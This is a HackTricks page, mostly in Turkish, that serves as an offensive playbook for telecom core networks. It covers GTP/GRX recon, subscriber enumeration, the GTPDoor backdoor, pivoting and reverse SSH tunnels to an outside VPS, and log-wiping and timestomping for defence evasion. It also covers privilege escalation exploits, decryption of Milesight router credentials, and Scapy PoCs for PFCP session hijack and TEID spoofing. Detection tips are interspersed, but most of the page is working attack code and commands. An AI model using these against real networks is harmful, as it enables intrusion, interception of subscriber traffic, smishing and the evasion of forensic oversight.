Telekom Ağ İstismarı (GTP / Roaming Ortamları)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Note
Mobil çekirdek protokoller (GPRS Tunnelling Protocol – GTP) genellikle yarı-güvenilir GRX/IPX roaming omurgaları üzerinden geçer. Düz UDP üzerinde neredeyse hiç kimlik doğrulama olmadan çalıştıkları için, telekom sınırları içinde elde edilen herhangi bir foothold genellikle core signalling planes’e doğrudan ulaşabilir. Aşağıdaki notlar SGSN/GGSN, PGW/SGW ve diğer EPC nodes aleyhine vahşi ortamda gözlemlenen saldırı tekniklerini toplar.
1. Recon & Initial Access
1.1 Varsayılan OSS / NE Hesapları
Birçok satıcıya ait network elementi, root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … gibi sert kodlanmış SSH/Telnet kullanıcılarıyla gelir. Özel bir wordlist brute-force başarısını önemli ölçüde artırır:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Eğer cihaz sadece bir management VRF sunuyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
1.2 GRX/IPX içinde Host Keşfi
Çoğu GRX operatörü hâlâ omurga boyunca ICMP echo’ya izin veriyor. masscan’ı dahili gtpv1 UDP probes ile birleştirerek GTP-C dinleyicilerini hızlıca haritalayın:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Aboneleri Listeleme – cordscan
Aşağıdaki Go aracı GTP-C Create PDP Context Request paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI’ye hizmet veren mevcut SGSN / MME’yi ve bazen abonenin ziyaret ettiği PLMN’i ortaya çıkarır.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Önemli bayraklar:
--imsiHedef abone IMSI--operHome / HNI (MCC+MNC)-wHam paketleri pcap’e yaz
İkili içindeki önemli sabitler taramaları genişletmek için yamalanabilir:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor küçük bir ELF servisidir ve binds UDP 2123 and parses every incoming GTP-C packet. Payload, pre-shared tag ile başlarsa, kalan kısım (AES-128-CBC) decrypted edilir ve /bin/sh -c ile çalıştırılır. stdout/stderr Echo Response mesajları içinde exfiltrated edilir; böylece dışarıya açık bir oturum hiçbir zaman oluşturulmaz.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Tespit:
- SGSN IP’lerine unbalanced Echo Requests gönderen herhangi bir host
- GTP version flag 1 olarak ayarlanmışken message type = 1 (Echo) – spesifikasyondan sapma
4. Çekirdek Üzerinden Pivoting
4.1 sgsnemu + SOCKS5
OsmoGGSN gerçek bir GGSN/PGW’ye yönelik PDP context kurabilen bir SGSN emülatörü ile birlikte gelir. Kurulduktan sonra, Linux’e roaming peer tarafından erişilebilen yeni bir tun0 arayüzü atanır.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Doğru firewall hair-pinning ile bu tünel sadece sinyalleme VLAN’larını atlayıp doğrudan data plane’e iner.
4.2 SSH Reverse Tunnel over Port 53
DNS, roaming altyapılarında neredeyse her zaman açıktır. İç ağdaki SSH servisini VPS’inizde :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri bağlanın:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Check that GatewayPorts yes is enabled on the VPS.
5. Gizli Kanallar
| Kanal | Taşıma | Dekodlama | Notlar |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, çıkış trafiği yok |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) A-record oktetlerinde kodlanmış | *.nodep alt alan adını izler |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | meşru GTP-C trafiğiyle karışır |
Tüm implantlar binarilerini timestomp eder ve çökerlerse yeniden başlatılmak üzere watchdog’lar uygular.
6. Savunma Atlatma Hızlı Başvuru
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Legacy NE’de Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Temizleme ipucu:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– önceki bölümlerde anlatılan özel araçlar.FScan: intranet TCP taramaları (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: hafif SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G kayıt prosedürü NGAP üzerinde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği aktive edilene kadar, başlangıç mesajları kimlik doğrulamasız ve şifrelenmemiştir. Bu ön-güvenlik penceresi, N2 trafiğini gözlemleyebildiğiniz veya müdahale edebildiğiniz durumlarda (ör. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
Kayıt akışı (basitleştirilmiş):
- Registration Request: UE SUCI (şifreli SUPI) ve yetenekleri gönderir.
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* döner.
- Security Mode Command/Complete: NAS bütünlüğü ve şifreleme pazarlığı yapılır ve aktif edilir.
- PDU Session Establishment: IP/QoS kurulumu.
Lab kurulum ipuçları (non-RF):
- Core: Open5GS varsayılan dağıtımı akışları yeniden üretmek için yeterlidir.
- UE: simulator veya test UE; decode için Wireshark kullanın.
- Active tooling: 5GReplay (NAS’ı NGAP içinde capture/modify/replay), Sni5Gect (tam bir rogue gNB kaldırmadan NAS’ı anında sniff/patch/inject yapar).
- Wireshark için faydalı display filtreleri:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Beklenen: UE/USIM SUCI (home-network public key ile şifrelenmiş SUPI) göndermelidir. Registration Request içinde düz metin SUPI/IMSI bulunması, abonelerin kalıcı takibini mümkün kılan bir gizlilik kusurunu işaret eder.
Nasıl test edilir:
- InitialUEMessage içindeki ilk NAS mesajını capture edin ve Mobile Identity IE’yi inceleyin.
- Wireshark hızlı kontrolleri:
- SUCI olarak decode etmelidir, IMSI olarak değil.
- Filtre örnekleri:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suciolmalı; yokluğu veimsivarlığı leakage gösterir.
Ne toplanmalı:
- Açığa çıkan MCC/MNC/MSIN; her-UE için loglayın ve zaman/konum boyunca izleyin.
Önlem:
- Yalnızca SUCI destekleyen UE/USIM’leri zorunlu kılın; initial NAS içinde herhangi bir IMSI/SUPI tespitinde alarm verin.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Arka plan:
- UE, Registration Request içindeki UE Security Capability IE’de desteklediği EEA (encryption) ve EIA (integrity) algoritmalarını ilan eder.
- Yaygın eşlemeler: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algoritmalardır.
Sorun:
- Registration Request integrity ile korunmadığı için, an on-path attacker capability bitlerini temizleyerek Security Mode Command sırasında daha sonra EEA0/EIA0 seçimini zorlayabilir. Bazı stack’ler yanlışlıkla acil servisler dışındaki durumlarda null algoritmaları kabul eder.
Saldırı adımları:
- InitialUEMessage’i intercept edin ve NAS UE Security Capability’i yalnızca EEA0/EIA0 olarak advertise edecek şekilde değiştirin.
- Sni5Gect ile NAS mesajına hook atın ve iletmeden önce capability bitlerini patch’leyin.
- AMF’in null şifrelemeyi/bütünlüğü kabul edip etmediğini ve Security Mode’u EEA0/EIA0 ile tamamlayıp tamamlamadığını gözlemleyin.
Doğrulama/görünürlük:
- Wireshark’ta Security Mode Command/Complete sonrası seçilen algoritmaları doğrulayın.
- Örnek pasif sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Önlemler (zorunlu):
- AMF/policy’yi, yalnızca zorunlu olduğu durumlar (ör. acil çağrılar) dışında EEA0/EIA0’ü reddedecek şekilde yapılandırın.
- Tercihen en azından EEA2/EIA2 uygulanmasını zorunlu kılın; null algoritmaları müzakere eden herhangi bir NAS security context için log kaydı alın ve alarm tetikleyin.
9.3 İlk Registration Request’in replay’i (güvenlik öncesi NAS)
İlk NAS bütünlük ve tazelik sağlamadığından yakalanan InitialUEMessage+Registration Request AMF’ye tekrar oynatılabilir.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Endüstriyel hücresel yönlendiricilerin açığa çıkan web API’lerini istismar etmek, ölçekli, carrier-origin smishing yapılmasına olanak tanır. Milesight UR-serisi yönlendiriciler /cgi adresinde JSON-RPC–tarzı bir endpoint açar. Hatalı yapılandırıldığında, API kimlik doğrulama olmadan SMS inbox/outbox’u listelemek ve bazı konuşlandırmalarda SMS göndermek için sorgulanabilir.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Yanıtlar timestamp, content, phone_number (E.164) ve status (success veya failed) gibi alanlar içerir. Aynı numaraya tekrarlanan failed gönderimleri genellikle bir saldırganın router/SIM’in teslimat yapıp yapamayacağını blasting öncesi doğrulamak için yaptığı “capability checks”’dir.
Örnek curl SMS metadata’larını exfiltrate etmek için:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Notes on auth artifacts:
- Bir kısmı trafik auth cookie içerebilir, ancak yönetim arayüzü internete açık olduğunda, açığa çıkmış cihazların büyük bir kısmı
query_inbox/query_outboxisteklerine herhangi bir kimlik doğrulaması olmadan yanıt verir. - Auth gerektiren ortamlarda, previously-leaked credentials (see below) erişimi geri sağlar.
Credential recovery path – CVE-2023-43261:
- Etkilenen aileler: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Sorun: web üzerinden sunulan loglar (ör.
httpd.log),/lang/log/altında kimlik doğrulaması olmadan erişilebilir durumdadır ve client-side JavaScript’te bulunan hardcoded AES key/IV kullanılarak şifrelenmiş parolayı içeren admin giriş olaylarını barındırır. - Pratik erişim ve şifre çözme:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
leaked passwords’ı deşifre etmek için minimal Python (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting and detection ideas (network):
- Yetkisiz
POST /cgiisteklerinde, JSON gövdesindebase/functionalanıquery_inboxveyaquery_outboxolarak ayarlanmışsa alarm oluşturun. - Aynı kaynak IP’den birçok farklı numaraya yayılan ve ardından
status":"failed"girdileriyle sonuçlanan tekrarlayanPOST /cgipatlamalarını takip edin (capability testing). - Internete açık Milesight router’ları envanterleyin; yönetimi VPN ile sınırlandırın; gerekmedikçe SMS özelliklerini devre dışı bırakın; v35.3.0.7 veya üstüne yükseltin; kimlik bilgilerini değiştirin ve bilinmeyen gönderiler için SMS loglarını inceleyin.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"Milesight router panelleri ile eşleşir.- Açıkta kalan loglar için Google dorking:
"/lang/log/system" ext:log.
Operational impact: router’lara yerleştirilmiş meşru carrier SIM’leri phishing için çok yüksek SMS teslim edilebilirliği/itibarı sağlar; inbox/outbox exposure hassas meta verileri büyük ölçekte leaks.
11. PFCP Session Hijack & GTP-U TEID Abuse
11.1 PFCP Session Modification to steal flows
If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.
Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):
Scapy PFCP session hijack PoC
```python from scapy.all import * from scapy.contrib.pfcp import *n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR
pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)
</details>
### 11.2 TEID'leri sahteleyerek kullanıcı trafiği enjekte etme
Backbone'dan gelen uplink GTP-U ACL ile kısıtlanmamışsa, GTP-U başlıklarında görülen TEID'leri replay/guess ederek UE'nin peer'ine veya İnternet'e yönelik rastgele IP/TCP trafiğini kapsülleştirebilirsiniz. Örnek craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))
Bunu active TEIDs’i öğrenmek için N3/N6 üzerinde passive sniffing ile eşleştirin; birçok PGW/UPF stack’i TEID eşleştiğinde herhangi bir uplink source’u kabul eder.
12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)
FivGeeFuzz (academic 2025) otomatik olarak 3GPP OpenAPI specs’ten gramerler türeterek HTTP-based SBIs’i fuzzlar. free5GC karşısında, hedef NF’de audience/issuer kontrollerinin eksik olması nedeniyle istismar edilen Cross-Service Token dahil olmak üzere sekiz bug keşfetti: ele geçirilmiş bir NF, Service A için bir access token elde eder ve bunu Service B’ye karşı yeniden kullanır.
Quick replay idea (assuming you stole an NRF-issued token from any NF):
# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts
FivGeeFuzz gramerleriyle otomatik olarak fuzz yapmak için:
python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500
SMF/AMF pods’larında 401/403 bypass’larına ve çöküşlere dikkat et; yamalanmış free5GC build’ları uyumsuz aud/iss değerlerini reddediyor.
Tespit Fikirleri
- SGSN/GGSN dışında bir cihazın Create PDP Context Requests başlatması.
- İç IP’lerden gelen SSH handshakes’lerini alan standart dışı portlar (53, 80, 443).
- Karşılık gelen Echo Responses olmadan sık Echo Requests – GTPDoor beacon’larını işaret ediyor olabilir.
- Büyük, sıfır olmayan identifier/sequence alanlarına sahip yüksek oranda ICMP echo-reply trafiği.
- 5G: InitialUEMessage içinde aynı uç noktalardan tekrar edilen NAS Registration Requests (replay işareti).
- 5G: Acil durum bağlamları dışında NAS Security Mode’un EEA0/EIA0’ı müzakere etmesi.
- PFCP: Çift PDR ID’leri taşıyan veya aniden FAR yönlendirmesini off-net IP’lere yapan Session Modification.
- SBA: NRF, çağrılan NF ile eşleşmeyen
audiçeren token’lar veriyor – Cross-Service Token replay göstergesi.
Referanslar
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
- Cross-Service Token in 5G Core (API Security Blog)
- PFCP Session Modification Hijack in OAI UPF
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


